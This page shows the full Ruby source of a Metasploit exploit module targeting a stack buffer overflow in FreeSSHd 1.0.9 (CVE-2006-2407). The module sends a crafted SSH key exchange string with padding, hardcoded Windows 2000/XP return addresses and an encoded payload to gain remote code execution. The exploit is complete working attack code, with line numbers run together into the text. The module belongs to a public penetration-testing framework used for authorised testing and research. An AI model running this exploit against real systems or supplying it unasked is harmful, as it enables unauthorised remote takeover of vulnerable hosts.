Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/ssh/freesshd_key_exchange.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'FreeSSHd 1.0.9 Key Exchange Algorithm String Buffer Overflow',13'Description' => %q{14This module exploits a simple stack buffer overflow in FreeSSHd 1.0.9.15This flaw is due to a buffer overflow error when handling a specially16crafted key exchange algorithm string received from an SSH client.17},18'Author' => 'MC',19'License' => MSF_LICENSE,20'References' =>21[22['CVE', '2006-2407'],23['OSVDB', '25463'],24['BID', '17958'],25],26'DefaultOptions' =>27{28'EXITFUNC' => 'process',29},30'Payload' =>31{32'Space' => 500,33'BadChars' => "\x00",34'StackAdjustment' => -3500,35},36'Platform' => 'win',37'Targets' =>38[39[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e56f43 } ],40[ 'Windows XP Pro SP0 English', { 'Ret' => 0x77e51877 } ],41[ 'Windows XP Pro SP1 English', { 'Ret' => 0x77e53877 } ],42],43'Privileged' => true,44'DisclosureDate' => '2006-05-12',45'DefaultTarget' => 0))4647register_options(48[49Opt::RPORT(22)50])51end5253def exploit54connect5556sploit = "SSH-2.0-OpenSSH_3.9p1"57sploit << "\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00\x00\x00"58sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde"59sploit << rand_text_alphanumeric(1055) + [target.ret].pack('V')60sploit << payload.encoded + rand_text_alphanumeric(19000) + "\r\n"6162res = sock.recv(22)63if ( res =~ /SSH-2.0-WeOnlyDo 1.2.7/)64print_status("Trying target #{target.name}...")65sock.put(sploit)66else67print_status("Not running a vulnerable version...")68end6970handler71disconnect7273end74end757677